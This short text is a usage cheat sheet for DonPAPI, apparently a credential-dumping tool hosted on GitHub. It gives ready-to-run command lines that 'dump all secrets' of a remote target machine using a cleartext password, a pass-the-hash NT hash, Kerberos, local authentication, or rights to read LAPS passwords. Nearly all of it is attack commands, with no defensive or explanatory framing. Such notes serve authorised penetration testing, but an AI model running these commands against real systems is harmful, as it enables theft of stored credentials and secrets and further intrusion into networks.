Link: https://github.com/login-securite/DonPAPI

Dump all secrets of the target machine with an admin account :

DonPAPI.py domain/user:passw0rd@target

Using user's hash

DonPAPI.py --hashes <LM>:<NT> domain/user@target

Using kerberos (-k) and local auth (-local_auth)

DonPAPI.py -k domain/user@target
DonPAPI.py -local_auth user@target

Using a user with LAPS password reading rights

DonPAPI.py -laps domain/user:passw0rd@target